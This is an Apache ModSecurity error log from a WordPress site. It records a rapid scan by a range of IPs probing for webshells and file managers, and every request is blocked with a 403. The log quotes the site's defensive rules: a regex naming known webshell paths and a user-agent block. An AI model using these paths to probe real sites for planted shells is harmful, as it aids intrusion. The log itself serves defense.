[Thu Nov 20 07:11:59.664942 2025] [:error] [pid 55342:tid 55396] [client 185.223.152.70:43519] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/version.php"] [unique_id "aR5Ov7g6x32Tvk7fIG9OmgAAAFg"]
[Thu Nov 20 07:12:00.338198 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.82:48451] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aR5OwFNEol4jlmmA_GOpCwAAAUw"]
[Thu Nov 20 07:12:01.053414 2025] [:error] [pid 34405:tid 34419] [client 185.223.152.76:62039] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aR5OwTFpvu8oRK7ATfuGnAAAAQw"]
[Thu Nov 20 07:12:01.781726 2025] [:error] [pid 34444:tid 34457] [client 185.223.152.65:27057] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aR5OwVNEol4jlmmA_GOpDwAAAUs"]
[Thu Nov 20 07:12:02.770138 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.86:52651] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/product.php"] [unique_id "aR5OwlNEol4jlmmA_GOpEQAAAVE"]
[Thu Nov 20 07:12:03.709041 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.89:24631] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/chosen.php"] [unique_id "aR5Ow7g6x32Tvk7fIG9OnAAAAEc"]
[Thu Nov 20 07:12:04.421137 2025] [:error] [pid 55340:tid 55349] [client 185.223.152.67:20163] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aR5OxPOxD-NeMydTybDUSQAAAAQ"]
[Thu Nov 20 07:12:05.118611 2025] [:error] [pid 55343:tid 55420] [client 185.223.152.82:37141] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aR5OxVWlO3EnyVMV7w4NqQAAAJU"]
[Thu Nov 20 07:12:05.788498 2025] [:error] [pid 34405:tid 34423] [client 185.223.152.80:27121] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.well-known/"] [unique_id "aR5OxTFpvu8oRK7ATfuGngAAARA"]
[Thu Nov 20 07:12:06.474836 2025] [:error] [pid 55342:tid 55378] [client 185.223.152.86:31723] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aR5Oxrg6x32Tvk7fIG9OnwAAAEY"]
[Thu Nov 20 07:12:07.143906 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.88:28465] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aR5Ox_PZXaIMEU4pE7tTJwAAANI"]
[Thu Nov 20 07:12:07.825817 2025] [:error] [pid 55430:tid 55444] [client 185.223.152.66:58975] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aR5Ox_PZXaIMEU4pE7tTKQAAAMs"]
[Thu Nov 20 07:12:08.497218 2025] [:error] [pid 34444:tid 34447] [client 185.223.152.77:35391] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aR5OyFNEol4jlmmA_GOpEgAAAUE"]
[Thu Nov 20 07:12:09.173016 2025] [:error] [pid 55340:tid 55358] [client 185.223.152.85:56299] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aR5OyfOxD-NeMydTybDUTAAAAA0"]
[Thu Nov 20 07:12:09.850668 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.89:34033] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/directionality/index.php"] [unique_id "aR5OyfPZXaIMEU4pE7tTLAAAAMk"]
[Thu Nov 20 07:12:10.519612 2025] [:error] [pid 55340:tid 55348] [client 185.223.152.89:52503] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aR5OyvOxD-NeMydTybDUTQAAAAM"]
[Thu Nov 20 07:12:11.187972 2025] [:error] [pid 34405:tid 34415] [client 185.223.152.66:58869] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/wp.php"] [unique_id "aR5OyzFpvu8oRK7ATfuGogAAAQg"]
[Thu Nov 20 07:12:11.856142 2025] [:error] [pid 55343:tid 55410] [client 185.223.152.80:40419] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/about.php"] [unique_id "aR5Oy1WlO3EnyVMV7w4NqwAAAIs"]
[Thu Nov 20 07:12:12.539933 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.91:20367] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aR5OzLg6x32Tvk7fIG9OqwAAAEo"]
[Thu Nov 20 07:12:13.212718 2025] [:error] [pid 55343:tid 55401] [client 185.223.152.71:25671] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aR5OzVWlO3EnyVMV7w4NrAAAAII"]
[Thu Nov 20 07:12:13.883445 2025] [:error] [pid 55340:tid 55357] [client 185.223.152.74:29249] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aR5OzfOxD-NeMydTybDUUAAAAAw"]
[Thu Nov 20 07:12:14.551214 2025] [:error] [pid 55340:tid 55352] [client 185.223.152.82:52229] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/wp-admin.php"] [unique_id "aR5OzvOxD-NeMydTybDUUQAAAAc"]
[Thu Nov 20 07:12:15.234084 2025] [:error] [pid 55340:tid 55363] [client 185.223.152.90:27863] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aR5Oz_OxD-NeMydTybDUUgAAABI"]
[Thu Nov 20 07:12:15.919030 2025] [:error] [pid 55342:tid 55372] [client 185.223.152.84:27175] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/about-cong.php"] [unique_id "aR5Oz7g6x32Tvk7fIG9OsgAAAEA"]
[Thu Nov 20 07:12:16.590599 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.76:59799] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/app/connect.php"] [unique_id "aR5O0Lg6x32Tvk7fIG9OtQAAAEE"]
[Thu Nov 20 07:12:17.273344 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.70:32463] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/assets/images/selam.php"] [unique_id "aR5O0bg6x32Tvk7fIG9OtgAAAE8"]
[Thu Nov 20 07:12:17.945739 2025] [:error] [pid 55342:tid 55380] [client 185.223.152.70:31585] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR5O0bg6x32Tvk7fIG9OuAAAAEg"]
[Thu Nov 20 07:12:18.617777 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.85:46763] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/gfherhfghre/commentsos/vendoyters/index.php"] [unique_id "aR5O0lNEol4jlmmA_GOpGQAAAU8"]
[Thu Nov 20 07:12:19.285270 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.74:30197] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/images/admin.php"] [unique_id "aR5O01NEol4jlmmA_GOpGwAAAUQ"]
[Thu Nov 20 07:12:19.953649 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.82:54761] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "aR5O0_PZXaIMEU4pE7tTLgAAANY"]
[Thu Nov 20 07:12:20.629963 2025] [:error] [pid 55343:tid 55411] [client 185.223.152.77:53829] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/images/chosen.php"] [unique_id "aR5O1FWlO3EnyVMV7w4NsAAAAIw"]
[Thu Nov 20 07:12:21.302750 2025] [:error] [pid 55342:tid 55378] [client 185.223.152.91:47973] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aR5O1bg6x32Tvk7fIG9OvgAAAEY"]
[Thu Nov 20 07:12:21.970396 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.75:50025] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/miansha.php"] [unique_id "aR5O1VNEol4jlmmA_GOpHgAAAUU"]
[Thu Nov 20 07:12:22.647992 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.81:47321] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/newuser.php"] [unique_id "aR5O1jFpvu8oRK7ATfuGpgAAAQo"]
[Thu Nov 20 07:12:23.317237 2025] [:error] [pid 34444:tid 34454] [client 185.223.152.91:49315] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/sama.php"] [unique_id "aR5O11NEol4jlmmA_GOpIQAAAUg"]
[Thu Nov 20 07:12:23.984060 2025] [:error] [pid 34444:tid 34469] [client 185.223.152.76:53841] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "aR5O11NEol4jlmmA_GOpIgAAAVc"]
[Thu Nov 20 07:12:24.653355 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.81:61627] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-active.php"] [unique_id "aR5O2DFpvu8oRK7ATfuGpwAAARQ"]
[Thu Nov 20 07:12:25.322729 2025] [:error] [pid 34405:tid 34421] [client 185.223.152.77:29569] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aR5O2TFpvu8oRK7ATfuGqAAAAQ4"]
[Thu Nov 20 07:12:25.992838 2025] [:error] [pid 34444:tid 34455] [client 185.223.152.76:35313] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/fttri.php"] [unique_id "aR5O2VNEol4jlmmA_GOpKAAAAUk"]
[Thu Nov 20 07:12:26.795188 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.87:40609] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/coffee/about.php"] [unique_id "aR5O2vOxD-NeMydTybDUVwAAABY"]
[Thu Nov 20 07:12:27.466245 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.89:56927] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/lock.php"] [unique_id "aR5O21NEol4jlmmA_GOpMQAAAU4"]
[Thu Nov 20 07:12:28.146190 2025] [:error] [pid 55340:tid 55346] [client 185.223.152.80:59425] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/index.php"] [unique_id "aR5O3POxD-NeMydTybDUWgAAAAE"]
[Thu Nov 20 07:12:28.822633 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.70:51755] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/class-walker-category-checklist-hashing.php"] [unique_id "aR5O3Lg6x32Tvk7fIG9OyQAAAEc"]
[Thu Nov 20 07:12:29.489276 2025] [:error] [pid 55340:tid 55365] [client 185.223.152.91:61697] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aR5O3fOxD-NeMydTybDUYAAAABQ"]
[Thu Nov 20 07:12:30.162166 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.87:47351] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/techl.php"] [unique_id "aR5O3lNEol4jlmmA_GOpNQAAAVY"]
[Thu Nov 20 07:12:30.839070 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.77:51401] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/link-manager-first.php"] [unique_id "aR5O3vOxD-NeMydTybDUZAAAAA8"]
[Thu Nov 20 07:12:31.514981 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.72:63709] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Noname6.php"] [unique_id "aR5O37g6x32Tvk7fIG9OzQAAAFc"]
[Thu Nov 20 07:12:32.182975 2025] [:error] [pid 34444:tid 34455] [client 185.223.152.90:25569] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/autoload_classmap.php"] [unique_id "aR5O4FNEol4jlmmA_GOpOAAAAUk"]
[Thu Nov 20 07:12:33.027462 2025] [:error] [pid 34444:tid 34452] [client 185.223.152.83:48845] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/mlex.php"] [unique_id "aR5O4VNEol4jlmmA_GOpOgAAAUY"]
[Thu Nov 20 07:12:33.696674 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.74:64317] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/plex1.php"] [unique_id "aR5O4bg6x32Tvk7fIG9OzwAAAFA"]
[Thu Nov 20 07:12:34.365764 2025] [:error] [pid 34444:tid 34467] [client 185.223.152.79:59643] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/configYFW/about.php"] [unique_id "aR5O4lNEol4jlmmA_GOpPgAAAVU"]
[Thu Nov 20 07:12:35.033137 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.85:46779] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/css.php"] [unique_id "aR5O4zFpvu8oRK7ATfuGtAAAAQM"]
[Thu Nov 20 07:12:35.699850 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.70:39015] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/m.php"] [unique_id "aR5O4_OxD-NeMydTybDUaQAAABg"]
